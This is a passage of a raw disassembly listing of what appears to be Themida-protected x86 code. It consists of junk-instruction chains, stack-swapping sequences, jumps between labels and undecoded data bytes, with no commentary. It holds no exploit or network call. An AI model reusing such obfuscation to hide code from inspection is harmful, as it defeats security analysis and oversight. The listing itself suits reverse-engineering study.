27B6807h, 1C890000h, 0FA1BB24h, 0D9014500h dd 11B8505Bh, 0E95B8E6Fh, 5C8Ch ; --------------------------------------------------------------------------- loc_514574: ; CODE XREF: Themida_:0051A782j pop edi xor eax, 1010A64h mov ebp, eax pop eax add eax, 73897A75h jmp loc_513370 ; --------------------------------------------------------------------------- db 89h dd 45E92404h, 68000096h, 0CDDh, 83242489h, 0E9042404h dd 23B6h, 81242C8Bh, 4C4h, 0C5895500h, 585DEE89h, 34FFF031h dd 3E93E924h, 34870000h, 24248B24h, 0FFAC72E9h, 240433FFh dd 33240431h, 248B2404h, 3C896624h, 2BF6624h, 44816600h dd 3EF40224h, 3AE95266h, 0C100008Eh, 0EC8107E1h, 4, 0BB241C89h dd 41BB71FEh, 0D6E9D931h, 83FFFF86h, 55E904C6h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514607: ; CODE XREF: Themida_:0051DDE1j pop ebx shl ebx, 2 push 324Dh mov [esp], eax mov eax, 0E784F1D4h jmp loc_518A0C ; --------------------------------------------------------------------------- aZs db 'Z~/',0 dw 8900h dd 0EC83241Ch, 243C8904h, 0A971E9h db 0 ; --------------------------------------------------------------------------- loc_514631: ; CODE XREF: Themida_:005112F4j pop ebx add ebp, edx pop edx xor ebp, [esp] jmp loc_50D600 ; --------------------------------------------------------------------------- db 5Fh, 1, 0E8h dd 0D378E205h, 242C8B2Eh, 9809E952h, 4830000h, 535F0424h dd 3840EEBBh, 0E9DBF709h, 0FFFFB8B3h, 295DEF29h, 6DC781D7h dd 8B58D060h, 0C4812414h, 4, 6F6BE9C3h, 0BA52FFFFh, 4 dd 0E95AD301h, 371Fh ; --------------------------------------------------------------------------- loc_514688: ; CODE XREF: Themida_:0051F3F5j xchg esi, [esp] pop edi push ebp mov ebp, 779630A3h jmp loc_519904 ; --------------------------------------------------------------------------- loc_514697: ; CODE XREF: Themida_:0050C5C0j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push ebx mov ebx, esp add ebx, 4 sub esp, 4 jmp loc_50C7A5 ; --------------------------------------------------------------------------- loc_5146B7: ; CODE XREF: Themida_:00517E12j add ebp, ebx pop ebx push edx mov edx, 2 sub ebp, 3F292E1Ah jmp loc_50FC82 ; --------------------------------------------------------------------------- db 51h dd 422A368h, 240C8B2Fh, 0F704C483h, 0D9F749D1h, 0C6CFE952h dd 34FF0000h, 89535824h, 0F0B951E3h, 81465C22h, 343600E9h dd 0DE75E965h, 48FFFFFh, 929BE924h, 74FF0000h, 8F5F0424h dd 248B2404h, 0C0B60F24h, 0FFD4A1E9h, 243489FFh, 0FFE607E9h dd 0E28952FFh, 1107BF57h, 62E924BDh, 8100006Bh, 0B33CB0C5h dd 5730E955h, 0EE800000h, 8AA4E926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51473E: ; CODE XREF: Themida_:0051D88Dj push 2F96h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_51EA8A ; --------------------------------------------------------------------------- db 0BAh dd 2E39002Dh, 9C85E942h, 70BA0000h, 424F8A2Ah, 74F3CA81h dd 554A3675h, 3C5EFBBDh, 0AE3AE929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_514776: ; CODE XREF: Themida_:00520E4Ej mov [esp], edi jmp loc_519472 ; --------------------------------------------------------------------------- dw 0C7B2h dd 801CB450h, 0E22826C4h, 0D67EE958h, 0FE89FFFFh, 7E6C15Fh dd 0E346F681h, 0F029D8CAh, 8B5B505Eh, 0C4832404h, 8BD90104h dd 0C481241Ch, 4, 31240C33h, 0C33240Ch, 24248B24h, 9C2404D2h dd 0FF6E20E9h db 0FFh ; --------------------------------------------------------------------------- loc_5147C5: ; CODE XREF: Themida_:00513C8Bj mov [esp], ebp xor dword ptr [esp], 78364A0Ah jmp loc_5203BF ; --------------------------------------------------------------------------- loc_5147D4: ; CODE XREF: Themida_:0050FC63j pop esp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_50C70E ; --------------------------------------------------------------------------- dd 0DDF7CD87h, 297EF581h, 0B7E97306h, 50000089h, 9245E9h dd 2CC40400h, 0E9B22CBAh, 0A78Bh, 0B652C2B7h, 9AC680CDh dd 0E95AF708h, 933Ch ; --------------------------------------------------------------------------- loc_514814: ; CODE XREF: Themida_:005109DBj mov esi, 3B9C355Ah jmp loc_51DD51 ; --------------------------------------------------------------------------- dw 0E5C1h dd 25ED8106h, 81FE3D8Eh, 905BFC6h, 81EE0100h, 905BFEEh dd 2434FF00h, 0B543E95Dh, 9ABB0000h, 0E980A25Ch, 0FFFFBA5Bh dd 0C181E189h, 4, 4C181h, 0C870000h, 87A9E924h, 0CD29FFFFh dd 5DEF8959h, 0FF9CA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_514869: ; CODE XREF: Themida_:0051DD60j xor ebp, esi xor esi, ebp xor ebp, ebx xor ebx, ebp xor ebp, ebx push 2EE7h mov [esp], edx push esp mov edx, [esp] jmp loc_50CEDD ; --------------------------------------------------------------------------- loc_514884: ; CODE XREF: Themida_:005148A6j add edx, 111E65A2h sub esp, 4 mov [esp], ebx mov ebx, 31E91412h jmp loc_515C7F ; --------------------------------------------------------------------------- loc_51489A: ; CODE XREF: Themida_:0051E78Dj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_514884 ; --------------------------------------------------------------------------- aB_yusr2 db 'ǹ^_YUr2',0 dw 6600h dd 2244481h, 81661979h, 5C02246Ch, 6657665Dh, 0E93EF4BFh dd 0FFFF86D8h ; --------------------------------------------------------------------------- loc_5148D0: ; CODE XREF: Themida_:0051F357j pop eax jmp loc_50B88E ; --------------------------------------------------------------------------- loc_5148D6: ; CODE XREF: Themida_:00514E57j mov ebp, 4 push ecx jmp loc_5201AE ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 4EC81h, 34890000h, 53E68924h, 0B9515B54h dd 4, 0FF99BDE9h, 242C8BFFh, 104C483h, 4EC81C3h, 89000000h dd 36E92434h, 0FFFFFFFCh, 0C6E92434h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51491F: ; CODE XREF: Themida_:0051E0D4j sub esp, 4 jmp loc_51ED8A ; --------------------------------------------------------------------------- db 89h dd 3BE92434h, 81FFFF72h, 4C7h, 4C78300h, 0E9243C87h, 0FFFFA79Dh ; --------------------------------------------------------------------------- loc_514940: ; CODE XREF: Themida_:0050C300j add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_515317 ; --------------------------------------------------------------------------- loc_514951: ; CODE XREF: Themida_:00518CC3j push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], eax jmp loc_51B13F ; --------------------------------------------------------------------------- db 81h dd 0CC31FDE5h, 59F5E96Bh, 0CDBA0000h, 8157A476h, 85AA7DC2h dd 5AD321AFh, 9926E9h, 242C8900h, 861EFABDh, 2B9AE933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_514992: ; CODE XREF: Themida_:00513914j pop esi dec edi add edi, 0C93B55EBh add esi, 376B22F4h sub esi, edi jmp loc_5208E8 ; --------------------------------------------------------------------------- loc_5149A7: ; CODE XREF: Themida_:0051BEB2j pop ebp jmp loc_519377 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 240CD25Ch, 6C2BE99Ch, 815BFFFFh, 0AC3EB6C7h, 0A0BE563Dh dd 0E906BA28h, 0FFFFFE27h, 57242C8Bh, 67D3E9h db 0 ; --------------------------------------------------------------------------- loc_5149D5: ; CODE XREF: Themida_:0051184Aj pop esp jmp loc_51A19F ; --------------------------------------------------------------------------- db 66h dd 5224048Bh, 2434FF54h, 4C4835Ah, 163768h, 24048900h dd 468h, 24048B00h, 4C481h, 51500000h, 5F9EE9h db 0 ; --------------------------------------------------------------------------- loc_514A05: ; CODE XREF: Themida_:0051841Bj mov [esp], ebx mov ebx, 24h add ebx, edi push edx mov edx, 0 add edx, ebx jmp loc_51CFCA ; --------------------------------------------------------------------------- loc_514A1C: ; CODE XREF: Themida_:00513F58j add edi, ebx mov ebx, [esp] add esp, 4 push edx jmp loc_50F580 ; --------------------------------------------------------------------------- loc_514A2A: ; CODE XREF: Themida_:005208F5j shr esi, 1 inc esi sub esi, 2544BE56h xor edx, esi jmp loc_51549B ; --------------------------------------------------------------------------- loc_514A3A: ; CODE XREF: Themida_:0051C507j push dword ptr [esp] pop ecx push edx mov edx, esp push 65Ah jmp loc_51EC51 ; --------------------------------------------------------------------------- db 8Bh dd 4FE9240Ch, 5FFFFFD5h, 4C781h, 0EF810000h, 4, 8B243C87h dd 1C892424h, 5A5CE924h, 0E1800000h, 53526611h, 0FA8810B7h dd 66D1285Bh, 53C1805Ah, 18A3E9h db 0 ; --------------------------------------------------------------------------- loc_514A85: ; CODE XREF: Themida_:0051406Fj shr edx, 1 cmp eax, edx jz loc_51EB35 push 51F3h mov [esp], ebp push 68C9536Fh mov ebp, [esp] push ebx jmp loc_51158B ; --------------------------------------------------------------------------- db 5Bh, 51h, 53h dd 63753BBh, 0DDC6B92Fh, 0E98149E5h, 42AE2AC7h, 73E9D901h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514ABF: ; CODE XREF: Themida_:00512E60j push 1FE0h mov [esp], ebx sub esp, 4 mov [esp], eax mov eax, 5FD0170Ah mov ebx, eax mov eax, [esp] add esp, 4 jmp loc_5130FB ; --------------------------------------------------------------------------- db 81h dd 0C04D97F6h, 0F2E9504Dh, 89FFFFDDh, 8FE92404h, 0BDFFFFBCh dd 2E524E4Ch, 1412B850h, 0C5091737h, 51406858h, 1C890000h dd 0A9D9E924h, 0CD87FFFFh, 0CDE9D1F7h, 53FFFFFCh, 0C3815B54h dd 4, 4C381h, 0E9530000h, 0FFFF85F3h, 586EE81h, 0ED8120FEh dd 35C77A0Eh, 0FF6C73E9h db 0FFh ; --------------------------------------------------------------------------- loc_514B3D: ; CODE XREF: Themida_:0051A49Dj mov ecx, 4AAE5B8Ch jmp loc_51E549 ; --------------------------------------------------------------------------- db 86h dd 0FFEE80C6h, 0FFF167E9h db 0FFh ; --------------------------------------------------------------------------- loc_514B51: ; CODE XREF: Themida_:0050F802j mov edi, [esp] add esp, 4 jmp loc_50CE00 ; --------------------------------------------------------------------------- dd 0E904C483h, 4D3Dh ; --------------------------------------------------------------------------- loc_514B64: ; CODE XREF: Themida_:0051C056j push dword ptr [esp+4] pop esi pop dword ptr [esp] not esi jmp loc_50D9E7 ; --------------------------------------------------------------------------- loc_514B73: ; CODE XREF: Themida_:0050EE78j pop esp add ebx, 21816DF3h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], esi jmp loc_51D114 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 0D3665C24h, 0E99C240Ch, 0FFFF6A3Dh, 0C8E5B951h dd 0CF29D156h, 5FF82159h, 31253435h, 7DE95205h, 81FFFF89h dd 726EC7EAh, 87C2815Eh, 173176Ah, 87EA81FAh, 8173176Ah dd 726EC7C2h, 0E207E95Eh, 0E689FFFFh, 4C681h, 0C6830000h dd 6B9FE904h, 0EA810000h, 11B8336Ah, 8103EAC1h, 9E185AE2h dd 0C1EAD108h, 0F28102E2h, 8D33EF68h, 0E95AD329h, 69F7h ; --------------------------------------------------------------------------- loc_514C10: ; CODE XREF: Themida_:0050BAC1j add edx, ecx pop ecx push edi mov edi, 76E978B5h sub edi, 76E978B1h add edx, edi jmp loc_51D4D1 ; --------------------------------------------------------------------------- dw 489h dd 24348124h, 527A1FF2h, 0E9240C8Bh, 0FFFFAF82h, 1FEEEA81h dd 0D029B80Dh, 0A9C5E9h, 3C77FF00h, 3CC368h, 242C8900h dd 0FE505BBDh, 246C8178h, 0B71ED404h, 2EBE567Bh, 2962356Bh dd 0E9082474h, 4662h, 309F68h, 240C8900h, 240C8B54h, 4C481h dd 1C680000h, 89000046h, 0B6E92434h, 58FFFFD1h, 0BA593505h dd 0FFC0836Eh, 0E903E0C1h, 0FFFF978Ah, 0C006E2C0h, 0CA8003EAh dd 7272E90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514CAA: ; CODE XREF: Themida_:0050FB26j pop esp push dword ptr [esp] pop edx jmp loc_515EEE ; --------------------------------------------------------------------------- dd 4BFh, 0B67FE900h, 0C968FFFFh, 8900004Ah, 4682404h, 58000000h dd 48BC101h, 4C48124h, 83000000h, 0C3302C1h, 240C3124h dd 8B240C33h, 0FBE92424h, 830000ADh, 0FF5304EBh, 5B042474h dd 5BF7E9h db 0 ; --------------------------------------------------------------------------- loc_514CF9: ; CODE XREF: Themida_:005114CEj xor edx, 3DE28609h add [esp+4], edx jmp loc_51FB95 ; --------------------------------------------------------------------------- loc_514D08: ; CODE XREF: Themida_:005104DBj sub edi, ebx pop ebx jmp loc_516CD7 ; --------------------------------------------------------------------------- dd 8B24048Fh, 24892424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi push ebx push 7A9A258Dh pop ebx xor ebx, 0CF95C0Ch neg ebx xor ebx, 899C867Bh jmp loc_50E37B ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0DEE9241Ch db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514D4B: ; CODE XREF: Themida_:0051E364j mov eax, 4 jmp loc_513088 ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 68665A66h, 89664CBBh, 0AB5240Ch, 80DEC380h dd 0EB285AC3h, 805AEB80h, 5966DEEBh, 65B05066h, 5866C300h dd 0DFC380h, 23BEE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_514D8A: ; CODE XREF: Themida_:0051E785j neg eax xchg eax, edi shr edi, 4 jmp loc_50E801 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 8904EC83h, 7B68240Ch, 89000049h, 0BF572404h, 615A4836h dd 6850D7F7h, 596B4E15h, 0BF84E9h db 0 ; --------------------------------------------------------------------------- loc_514DB9: ; CODE XREF: Themida_:005194FAj add ecx, 4 push edx mov edx, 4 sub ecx, edx jmp loc_51755C ; --------------------------------------------------------------------------- loc_514DCC: ; CODE XREF: Themida_:0051A5C6j mov [esp], ebp push edx jmp loc_51ECFC ; --------------------------------------------------------------------------- db 5Fh, 81h, 0EEh dd 7A397604h, 137FB850h, 0EE816829h, 78D7FAAh, 0C681C629h dd 78D7FAAh, 48BA5258h, 81590534h, 0E82793EAh, 0BCEA8154h dd 4A412922h, 3DE9D2F7h, 5DFFFF8Ch, 0FFF0EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_514E11: ; CODE XREF: Themida_:0050D26Fj jmp loc_50B5E5 ; --------------------------------------------------------------------------- dw 0E0C0h dd 4D0F606h, 0B074E9EDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514E22: ; CODE XREF: Themida_:0050F5D6j mov ebx, [esp] add esp, 4 mov ebx, esi jmp loc_519B32 ; --------------------------------------------------------------------------- loc_514E32: ; CODE XREF: Themida_:00515327j pop eax push ebx mov ebx, esp jmp loc_51A505 ; --------------------------------------------------------------------------- db 5Bh dd 8B243C87h, 0ABE92424h, 50FFFFBFh, 0B905E9h db 0 ; --------------------------------------------------------------------------- loc_514E4D: ; CODE XREF: Themida_:0051DB4Bj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push ebp jmp loc_5148D6 ; --------------------------------------------------------------------------- dd 888EF480h, 0F58858E6h, 52C5805Ah, 0ED80C528h, 24048B52h dd 0E904C483h, 8653h ; --------------------------------------------------------------------------- loc_514E78: ; CODE XREF: Themida_:0050E983j shl ecx, 5 push esi push edx mov edx, 6B1D0A93h jmp loc_5178D7 ; --------------------------------------------------------------------------- db 83h dd 742D04C4h, 0E94AA807h, 0FFFF6B7Bh, 0E977B450h, 0FFFFB060h dd 0E904EC83h, 0FFFF83BBh, 0E924248Bh, 5612h, 5F2434FFh dd 4C481h, 0EC830000h, 24348904h, 7EE4BB53h, 5E530DEEh dd 6851555Bh, 249E6A9Eh, 92E18159h, 810EB42Eh, 0E2887F1h dd 0CF895750h, 84E9FD89h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514EE3: ; CODE XREF: Themida_:00515976j mov eax, 48D002AAh xor eax, 6EE573A6h jmp loc_51AB81 ; --------------------------------------------------------------------------- loc_514EF2: ; CODE XREF: Themida_:0051C648j push esp jmp loc_51A283 ; --------------------------------------------------------------------------- loc_514EF8: ; CODE XREF: Themida_:005129E3j xor esi, [esp] mov esp, [esp] loc_514EFE: ; CODE XREF: Themida_:00510E7Fj ; Themida_:0051DC03j push dword ptr [edi+24h] push edi mov edi, 0AC40AECh sub dword ptr [esp+4], 1E735193h add [esp+4], edi jmp loc_513838 ; --------------------------------------------------------------------------- dd 0BD242C89h, 2F985FB8h, 2B99CD81h, 0D5F71697h, 0EAC3F581h dd 0EB2987A0h, 0FFF9CCE9h, 4BBFFh, 0EC830000h, 3995E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_514F42: ; CODE XREF: Themida_:0051B8EEj mov esi, [esp] jmp loc_50DF0D ; --------------------------------------------------------------------------- dw 0C581h dd 0C32AC305h, 76E9EE01h, 52FFFFE9h, 801F7BBAh, 8BD7890Ch dd 0C4812414h, 4, 89F98951h, 0BAB4E9CEh, 8159FFFFh, 0A2E8D5F5h dd 0E9585555h, 0FFFFF620h, 7CFA6866h, 0FFB19FE9h, 241C89FFh dd 1EF3E953h, 805B0000h, 59E9C9F2h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514F9B: ; CODE XREF: Themida_:00511B5Aj add edx, 6444C2C9h or ebx, edx pop edx jmp loc_50E622 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 5B000000h, 8904EC83h, 6850242Ch, 60540D06h dd 0B9B85058h, 253FDD62h, 49CA40CCh, 0E951D8F7h, 74F4h ; --------------------------------------------------------------------------- loc_514FD4: ; CODE XREF: Themida_:0051C9D6j or edx, ebp push dword ptr [esp] pop ebp add esp, 4 push ebx mov ebx, 6F8B20F4h not ebx shl ebx, 3 jmp loc_51306B ; --------------------------------------------------------------------------- loc_514FF0: ; CODE XREF: Themida_:0051B321j add ebp, ecx jmp loc_519C0F ; --------------------------------------------------------------------------- db 5Dh dd 1184E9h, 4BA00h, 0D0010000h, 9CB9E95Ah, 148BFFFFh, 4C48324h dd 2C181h, 0A0680000h, 8900003Bh, 74FF240Ch, 0C8B0424h dd 4C48324h, 8B24048Fh, 4202424h, 0AEE99C24h, 59FFFF65h dd 63B8E781h, 0F7810A60h, 442B2B87h, 0B7CAC781h, 0C181B3B4h dd 0EB605CCh, 0E981F901h, 0EB605CCh, 0F7D9875Fh, 0E092E9D3h dd 0E801FFFFh, 8850E95Dh, 39BEFFFFh, 8969EA52h, 0D7295EF2h dd 3C87595Ah, 24248B24h, 24048B66h, 81E78957h, 4C7h, 0ACE95500h dd 87000072h, 0B2E92434h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_515097: ; CODE XREF: Themida_:00510500j mov edx, 7C764773h jmp loc_513F55 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 5704C483h, 0C781E789h, 4, 8704C783h, 0D4E9243Ch, 5FFFFFE0h dd 60BCEE81h, 0EEC13C79h, 4DF68108h, 551C04B2h, 63F975BDh dd 5DEE2904h, 34FFF301h, 68525E24h, 3149h, 230BE9h db 0 ; --------------------------------------------------------------------------- loc_5150E5: ; CODE XREF: Themida_:005179D3j xor edi, [esp] mov esp, [esp] jmp loc_520DBC ; --------------------------------------------------------------------------- loc_5150F0: ; CODE XREF: Themida_:0051D4D7j pop edx pop dword ptr [esp] mov esp, [esp] push ebp push 7C88h mov [esp], ecx push edx push 13280B56h push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 shl edx, 6 xor edx, 0B8B39533h jmp loc_519D66 ; --------------------------------------------------------------------------- loc_515121: ; CODE XREF: Themida_:005138B7j add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] push dword ptr [esp] pop eax push 2E01h jmp loc_50FF73 ; --------------------------------------------------------------------------- db 0B6h dd 0BEF68083h, 92F4E9h, 6792BF00h, 0E9515B8Ah, 0FFFFB7BDh dd 0A60787BBh, 8E3C119h, 8704BA52h, 0D331A607h, 0B3A3E95Ah dd 0D9090000h, 7868685Bh, 2C890000h, 0B8E95024h, 89000045h dd 5CC6E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51517E: ; CODE XREF: Themida_:0051A9D7j add esp, 4 push esi mov esi, esp push ebx push edi mov edi, 4 mov ebx, edi pop edi add esi, ebx mov ebx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp sub edx, ebx push dword ptr [esp] pop ebx add esp, 4 push ebx mov ebx, 5E9D0861h jmp loc_51F406 ; --------------------------------------------------------------------------- db 9 dd 0F80EE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5151BE: ; CODE XREF: Themida_:00518895j xor eax, 0C3A02D8h jmp loc_50F0AB ; --------------------------------------------------------------------------- loc_5151C8: ; CODE XREF: Themida_:0051EA14j pop ecx add esp, 4 push 2994h mov [esp], ebx jmp loc_511C0C ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 87000000h, 0FF5C2434h, 0CFE92434h, 89FFFFAAh, 0C6215FF8h dd 0E26CE958h, 685AFFFFh, 12E6h, 0FFE6C1E9h, 240C31FFh dd 0B4F3E9h, 81CF2900h, 805E45EFh, 0D842E93Ch, 0E95CFFFFh dd 0FFFFBC19h ; --------------------------------------------------------------------------- loc_51521C: ; CODE XREF: Themida_:00512059j pop dword ptr [esp] pop esp push edi mov edi, esp push 0A84h mov [esp], ebx jmp loc_50E8D1 ; --------------------------------------------------------------------------- loc_515230: ; CODE XREF: Themida_:0050BE81j push ebx mov ebx, esp add ebx, 4 jmp loc_50D728 ; --------------------------------------------------------------------------- dw 8B66h dd 2B682404h, 0E900000Dh, 240Ch, 332BEA81h, 0D30110B5h dd 81D3015Ah, 5A12E2EBh, 0BA525168h, 4C5A6FC8h, 148BD189h dd 4C48324h, 5A59CB29h, 0FF97B6E9h, 4C481FFh, 68000000h dd 75A4h, 89243C89h, 0BE56E7h, 8176CA58h, 392FCEh, 3E6C110h dd 0AC64E9h, 1EE76800h, 34890000h, 6ACABE24h, 43BF334Ch dd 814BA590h, 5D638AC7h, 0E9F72971h, 0FFFFBA7Eh, 70A1E781h dd 0A3E95352h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5152C3: ; CODE XREF: Themida_:0051C14Cj shr ecx, 2 shr ecx, 8 sub ecx, 0F8CE7D17h mov edx, ecx pop ecx push ebp push esi mov esi, 22657791h inc esi sub esi, 299C8312h mov ebp, esi pop esi mov edi, ebp pop ebp push ebx push 44323208h pop ebx xor ebx, 4F9E3732h jmp loc_511ECE ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4812414h, 4, 4C481h, 0E95D0000h, 3427h dd 0B0E9DAF7h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515317: ; CODE XREF: Themida_:0051494Cj pop esp push ebp jmp loc_5106CC ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFF0CDh ; --------------------------------------------------------------------------- loc_515324: ; CODE XREF: Themida_:0050EB30j push dword ptr [esp] jmp loc_514E32 ; --------------------------------------------------------------------------- dd 0CDAB850h, 59052E57h, 0E957C144h, 1162h ; --------------------------------------------------------------------------- loc_51533C: ; CODE XREF: Themida_:0051667Cj mov eax, ebx pop ebx add eax, 0EB1F61B7h add esi, 148C71CAh sub esi, eax sub esi, 148C71CAh pop eax sub edi, 19A11B5Ch add edi, esi jmp loc_50F8A1 ; --------------------------------------------------------------------------- loc_515360: ; CODE XREF: Themida_:0051C181j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5139B5 ; --------------------------------------------------------------------------- dd 7C8368h, 24148900h, 3E7D6853h, 14890000h, 0B391B224h dd 0A24DE923h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51538E: ; CODE XREF: Themida_:0050D3CBj mov ecx, esi pop esi push ecx inc dword ptr [esp] jmp loc_51F563 ; --------------------------------------------------------------------------- dw 1C87h dd 24248B24h, 50243489h, 4EC815Eh, 89000000h, 68502434h dd 1DBA1821h, 0FF837AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5153B9: ; CODE XREF: Themida_:0051177Fj sub esp, 4 mov [esp], ebp push edi mov edi, 7D076729h jmp loc_513364 ; --------------------------------------------------------------------------- loc_5153CD: ; CODE XREF: Themida_:00519B34j pop esi mov ebx, [esp] add esp, 4 push ecx mov ecx, 34E707F2h jmp loc_51ADA7 ; --------------------------------------------------------------------------- db 29h dd 0B64DE9C8h, 895CFFFFh, 0E954242Ch, 77DBh ; --------------------------------------------------------------------------- loc_5153F0: ; CODE XREF: Themida_:0051B15Cj pop esp mov [esp], edi jmp loc_50C219 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 47h dd 815F5457h, 4C7h, 4EF8300h, 0E9243C87h, 0B7C0h ; --------------------------------------------------------------------------- loc_515410: ; CODE XREF: Themida_:005138BDj mov al, 0Dh add al, 32h jmp loc_50B895 ; --------------------------------------------------------------------------- loc_515419: ; CODE XREF: Themida_:0051C27Cj xor dl, al pop eax not dl push ax mov ah, 1Ch sub dl, ah mov ax, [esp] push edi mov edi, esp add edi, 4 add edi, 2 jmp loc_51846E ; --------------------------------------------------------------------------- dd 6FE9842Ch db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515443: ; CODE XREF: Themida_:005116CBj shr ebp, 8 jmp loc_51FEB7 ; --------------------------------------------------------------------------- db 68h dd 3A4h, 5E6E9h, 8EFC100h, 334BE9h, 29ED8100h, 17A851Bh dd 7AE952F5h, 8BFFFFA5h, 7EE9241Ch, 81FFFFC6h, 0E753AFF2h dd 0BAE2E91Fh, 148B0000h, 4C48124h, 8B000000h, 8956240Ch dd 4C681E6h, 83000000h, 0FFE904C6h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51549B: ; CODE XREF: Themida_:00514A35j mov esi, [esp] push edx mov edx, esp push ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 xchg edx, [esp] pop esp shl edx, 5 jmp loc_51D3A1 ; --------------------------------------------------------------------------- dd 11DFB951h, 4A684FD6h, 8900001Bh, 2C81240Ch, 8A73C724h dd 0BB535A23h, 1696857h, 5606EBC1h, 0FFAEC7E9h, 0E9D629FFh dd 6E4Dh, 442ADEBAh, 6DF1E94Fh, 1431FFFFh, 8FB5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5154FA: ; CODE XREF: Themida_:00518A3Ej mov [esp], ebx mov ebx, 0FFFFFFFFh sub eax, 5C4017D3h push ebx mov ebx, 48B9724Ah jmp loc_51F0A5 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFDEB6h ; --------------------------------------------------------------------------- loc_515518: ; CODE XREF: Themida_:005110A8j sub esp, 4 mov [esp], eax mov eax, 76815525h shr eax, 3 jmp loc_51FE77 ; --------------------------------------------------------------------------- loc_51552B: ; CODE XREF: Themida_:005114F5j mov [esp], ebx sub esp, 4 mov [esp], ecx push dx mov dl, 0EAh mov ch, dl mov dx, [esp] add esp, 2 not ch sub ch, 0FFh dec ch xchg dh, ch sub dh, 0FFh jmp loc_5107C4 ; --------------------------------------------------------------------------- loc_515552: ; CODE XREF: Themida_:00513882j add esp, 4 sub esi, ebp jmp loc_51F387 ; --------------------------------------------------------------------------- dd 0F7240C87h, 240C87D9h, 0FFC5835Dh, 3A9BE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51556E: ; CODE XREF: Themida_:0051A2B6j sub eax, 4D906675h add eax, 10407FA7h add eax, 0F666335h jmp loc_51E24B ; --------------------------------------------------------------------------- dw 0C568h dd 0E94C0067h, 0FFFFE95Ch, 68242C89h, 78F22133h, 4E8AE9h dd 65696800h, 24890000h, 24048324h, 0BB535904h, 77E7538Fh dd 0F7E9EBD1h, 5B000085h, 8106E6C1h, 121E01EEh, 4DCE816Ah dd 5527276Ch, 0CFDE9h, 243C8700h, 7B80E95Ch, 34FF0000h dd 0C4815B24h, 4, 6851C201h, 5F0D3256h, 0FFCA0159h, 83592434h dd 0F2E904C4h, 1FFFF5Fh, 52EA81CAh, 0FF632631h, 0C8B2434h dd 4C48324h, 815E5456h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 0E6892434h, 8D85E9h db 0 ; --------------------------------------------------------------------------- loc_515621: ; CODE XREF: Themida_:0050E0AEj sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx jmp loc_51B19F ; --------------------------------------------------------------------------- loc_51564E: ; CODE XREF: Themida_:00518F13j push 32A0h jmp loc_5169F7 ; --------------------------------------------------------------------------- dd 4B06EBC1h, 0FFD2E4E9h, 148B66FFh, 4EC8324h, 0E9241C89h dd 0FFFF7E93h ; --------------------------------------------------------------------------- loc_515670: ; CODE XREF: Themida_:0050CB97j xor esi, 32C61B52h xor esi, 71761E97h shr esi, 1 jmp loc_51C8BA ; --------------------------------------------------------------------------- db 1 dd 8B04247Ch, 20E9243Ch, 89FFFF6Fh, 35BB241Ch, 1043C38h dd 762D5BD8h, 0FF4C302Ah, 835B2434h, 0BD5504C4h, 4, 875DE801h dd 248B2404h, 53575224h, 698EBE56h, 0C68162BAh, 278806EFh dd 0A65EE9h, 242C8B00h, 4C481h, 61680000h, 89000021h, 